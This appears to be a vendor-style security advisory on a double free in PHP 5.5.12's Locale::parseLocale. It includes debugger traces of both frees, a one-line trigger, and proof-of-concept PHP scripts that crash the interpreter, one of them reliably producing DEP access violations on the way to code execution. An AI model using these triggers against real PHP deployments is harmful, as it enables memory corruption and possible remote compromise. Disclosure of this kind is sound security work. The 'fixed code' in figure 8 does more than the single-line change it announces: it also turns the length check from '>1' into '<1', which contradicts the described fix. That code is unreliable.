Home
Consulting
Advisories
Software
Articles
Contact

PHP Locale::parseLocale Double Free

Vulnerabilities | Report

PHP 5.5.12 suffers from a memory corruption vulnerability that could potentially be exploited to achieve remote code execution. The vulnerability exists due to inconsistent behavior in the get_icu_value_internal function of ext\intl\locale\locale_methods.c. In most cases, get_icu_value_internal allocates memory that the caller is expected to free. However, if the first argument, loc_name, satisfies the conditions specified by the isIDPrefix macro (figure 1), and fromParseLocal is true, loc_name itself is returned. If a caller abides by contract and frees the return value of such a call, then the pointer passed via loc_name is freed again elsewhere, a double free occurs.

Figure 1. Macros used by get_icu_value_internal.
#define isIDSeparator(a) (a == '_' || a == '-')
[...]
#define isPrefixLetter(a) ((a=='x')||(a=='X')||(a=='i')||(a=='I'))
[...]
#define isIDPrefix(s) (isPrefixLetter(s[0])&&isIDSeparator(s[1]))

The zif_locale_parse function, which is exported to PHP as Locale::parseLocale, makes a call to get_icu_value_internal with potentially untrusted data. By passing a specially crafted locale (figure 2), remote code execution may be possible. The exploitability of this vulnerability is dependent on the attack surface of a given application. In instances where the locale string is exposed as a user configuration setting, it may be possible to achieve either pre- or post-authentication remote code execution. In other scenarios this vulnerability may serve as a means to achieve privilege escalation.

Figure 2. A call to Locale::parseLocale that triggers the exploitable condition.
Locale::parseLocale("x-AAAAAA");

Details for the two frees are shown in figures 3 and 4.

Figure 3. The first free.
0:000> kP
ChildEBP RetAddr  
016af25c 7146d7a3 php5ts!_efree(
			void * ptr = 0x030bf1e0)+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]
016af290 7146f6a2 php_intl!add_array_entry(
			char * loc_name = 0x0179028c "", 
			struct _zval_struct * hash_arr = 0x00000018, 
			char * key_name = 0x71489e60 "language", 
			void *** tsrm_ls = 0x7146f6a2)+0x1d3 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1073]
016af2b0 0f0c15ab php_intl!zif_locale_parse(
			int ht = 0n1, 
			struct _zval_struct * return_value = 0x030bf4c8, 
			struct _zval_struct ** return_value_ptr = 0x00000000, 
			struct _zval_struct * this_ptr = 0x00000000, 
			int return_value_used = 0n1, 
			void *** tsrm_ls = 0x0178be38)+0xb2 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\ext\intl\locale\locale_methods.c @ 1115]
016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
			struct _zend_execute_data * execute_data = 0x0179028c, 
			void *** tsrm_ls = 0x00000018)+0x1cb [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 551]
016af358 0f114757 php5ts!execute_ex(
			struct _zend_execute_data * execute_data = 0x030bef20, 
			void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
016af380 0f0e60ea php5ts!zend_execute(
			struct _zend_op_array * op_array = 0x030be5f0, 
			void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
			int type = 0n8, 
			void *** tsrm_ls = 0x00000001, 
			struct _zval_struct ** retval = 0x00000000, 
			int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
016af5c0 00cc21fb php5ts!php_execute_script(
			struct _zend_file_handle * primary_file = , 
			void *** tsrm_ls = )+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
016af844 00cc2ed1 php!do_cli(
			int argc = 0n24707724, 
			char ** argv = 0x00000018, 
			void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
016af8e0 00cca05e php!main(
			int argc = 0n2, 
			char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
016af980 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> ub eip
php5ts!_efree+0x49 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
0f0b1ef9 732e            jae     php5ts!_efree+0x79 (0f0b1f29)
0f0b1efb 817e4c00000200  cmp     dword ptr [esi+4Ch],20000h
0f0b1f02 7325            jae     php5ts!_efree+0x79 (0f0b1f29)
0f0b1f04 8bc2            mov     eax,edx
0f0b1f06 c1e803          shr     eax,3
0f0b1f09 8d0c86          lea     ecx,[esi+eax*4]
0f0b1f0c 8b4148          mov     eax,dword ptr [ecx+48h]
0f0b1f0f 894708          mov     dword ptr [edi+8],eax
0:000> u eip
php5ts!_efree+0x62 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_alloc.c @ 2440]:
0f0b1f12 897948          mov     dword ptr [ecx+48h],edi
0f0b1f15 01564c          add     dword ptr [esi+4Ch],edx
0f0b1f18 a148456a0f      mov     eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
0f0b1f1d 85c0            test    eax,eax
0f0b1f1f 0f851d040000    jne     php5ts!_efree+0x492 (0f0b2342)
0f0b1f25 5f              pop     edi
0f0b1f26 5e              pop     esi
0f0b1f27 59              pop     ecx
0:000> ?edi+8
Evaluate expression: 51114464 = 030bf1e0
0:000> dc edi+8
030bf1e0  00000000 41414141 00000000 00000000  ....AAAA........
030bf1f0  00000011 00000019 61636f6c 0300656c  ........locale..
030bf200  00000011 00000011 6e697270 00725f74  ........print_r.
030bf210  00000109 00000011 030bf320 030bf210  ........ .......
030bf220  01790494 00000000 00000000 00000000  ..y.............
030bf230  00000000 00000000 00000000 00000000  ................
030bf240  00000000 00000000 00000000 00000000  ................
030bf250  00000000 00000000 00000000 00000000  ................
Figure 4. The second free.
0:000> kP
ChildEBP RetAddr  
016af2c4 0f0c1813 php5ts!_zval_dtor_func(
			struct _zval_struct * zvalue = 0x030bf3f8)+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]
016af314 0f0c0c07 php5ts!zend_do_fcall_common_helper_SPEC(
			struct _zend_execute_data * execute_data = 0x0179028c, 
			void *** tsrm_ls = 0x00000018)+0x433 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 642]
016af358 0f114757 php5ts!execute_ex(
			struct _zend_execute_data * execute_data = 0x030bef20, 
			void *** tsrm_ls = 0x0178be38)+0x397 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 363]
016af380 0f0e60ea php5ts!zend_execute(
			struct _zend_op_array * op_array = 0x030be5f0, 
			void *** tsrm_ls = 0x00000007)+0x1c7 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_vm_execute.h @ 388]
016af3b4 0f0e4a00 php5ts!zend_execute_scripts(
			int type = 0n8, 
			void *** tsrm_ls = 0x00000001, 
			struct _zval_struct ** retval = 0x00000000, 
			int file_count = 0n3)+0x14a [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend.c @ 1317]
016af5c0 00cc21fb php5ts!php_execute_script(
			struct _zend_file_handle * primary_file = , 
			void *** tsrm_ls = )+0x190 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\main\main.c @ 2506]
016af844 00cc2ed1 php!do_cli(
			int argc = 0n24707724, 
			char ** argv = 0x00000018, 
			void *** tsrm_ls = 0x0178be38)+0x87b [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 995]
016af8e0 00cca05e php!main(
			int argc = 0n2, 
			char ** argv = 0x01791d68)+0x4c1 [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\sapi\cli\php_cli.c @ 1378]
016af920 76e1919f php!__tmainCRTStartup(void)+0xfd [f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 536]
016af92c 770ba8cb KERNEL32!BaseThreadInitThunk+0xe
016af970 770ba8a1 ntdll!__RtlUserThreadStart+0x20
016af980 00000000 ntdll!_RtlUserThreadStart+0x1b
0:000> ub eip
php5ts!_zval_dtor_func+0x5e [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]:
0f0b1cae 0f8394000000    jae     php5ts!_zval_dtor_func+0xf8 (0f0b1d48)
0f0b1cb4 817f4c00000200  cmp     dword ptr [edi+4Ch],20000h
0f0b1cbb 0f8387000000    jae     php5ts!_zval_dtor_func+0xf8 (0f0b1d48)
0f0b1cc1 8bc2            mov     eax,edx
0f0b1cc3 c1e803          shr     eax,3
0f0b1cc6 8d0c87          lea     ecx,[edi+eax*4]
0f0b1cc9 8b4148          mov     eax,dword ptr [ecx+48h]
0f0b1ccc 894608          mov     dword ptr [esi+8],eax
0:000> u eip
php5ts!_zval_dtor_func+0x7f [c:\php-sdk\php55\vc11\x86\php-5.5.12-ts\zend\zend_variables.c @ 36]:
0f0b1ccf 897148          mov     dword ptr [ecx+48h],esi
0f0b1cd2 01574c          add     dword ptr [edi+4Ch],edx
0f0b1cd5 a148456a0f      mov     eax,dword ptr [php5ts!zend_unblock_interruptions (0f6a4548)]
0f0b1cda 85c0            test    eax,eax
0f0b1cdc 0f8591010000    jne     php5ts!_zval_dtor_func+0x223 (0f0b1e73)
0f0b1ce2 5f              pop     edi
0f0b1ce3 5e              pop     esi
0f0b1ce4 c3              ret
0:000> ?esi+8
Evaluate expression: 51114464 = 030bf1e0
0:000> dc esi+8
030bf1e0  030bf1d8 41414141 00000000 00000000  ....AAAA........
030bf1f0  00000011 00000019 61636f6c 0300656c  ........locale..
030bf200  00000011 00000011 6e697270 00725f74  ........print_r.
030bf210  00000109 00000011 030bf320 030bf210  ........ .......
030bf220  01790494 00000000 00000000 00000000  ..y.............
030bf230  00000000 00000000 00000000 00000000  ................
030bf240  00000000 00000000 00000000 00000000  ................
030bf250  00000000 00000000 00000000 00000000  ................

The outcome of the double free depends on the arrangement of the heap. A simple script that produces a variety of read access violations is shown in figure 5, and another that reliably produces data execution prevention access violations is provided in figure 6.

Figure 5. A script that produces a variety of AVs.
<?php
Locale::parseLocale("x-AAAAAA");
$foo = new SplTempFileObject();
?>
Figure 6. A script that reliably produces DEPAVs.
<?php
Locale::parseLocale("x-7-644T-42-1Q-7346A896-656s-75nKaOG");
$pe = new SQLite3($pe, new PDOException(($pe->{new ReflectionParameter(TRUE, new RecursiveTreeIterator((null > ($pe+=new RecursiveCallbackFilterIterator((object)$G16 = new Directory(), DatePeriod::__set_state()))), (array)$h453 = new ReflectionMethod(($pe[TRUE]), $G16->rewind((array)"mymqaodaokubaf")), ($h453->getShortName() === null), ($I68TB = new InvalidArgumentException($H03 = new DOMStringList(), null, (string)MessageFormatter::create($sC = new AppendIterator(), new DOMUserDataHandler())) & null)))}), ($h453[(bool)DateInterval::__set_state()]), new PDOStatement()), TRUE);
$H03->item((unset)$gn = new SplStack());
$sC->valid();

?>

To fix the vulnerability, get_icu_value_internal should be modified to return a copy of loc_name rather than loc_name itself. This can be done easily using the estrdup function. The single line fix is shown in figures 7 and 8.

Figure 7. The original code.
		if( strcmp(tag_name , LOC_LANG_TAG)==0 ){
			if( strlen(loc_name)>1 && (isIDPrefix(loc_name) ==1 ) ){
				return (char *)loc_name;
			}
		}
Figure 8. The fixed code.
		if( strcmp(tag_name , LOC_LANG_TAG)==0 ){
			if( strlen(loc_name)<1 && (isIDPrefix(loc_name) ==1 ) ){
				return estrdup(loc_name);
			}
		}

Credit: John Leitch (john@autosectools.com)



Copyright © 2018 AutoSec Tools LLC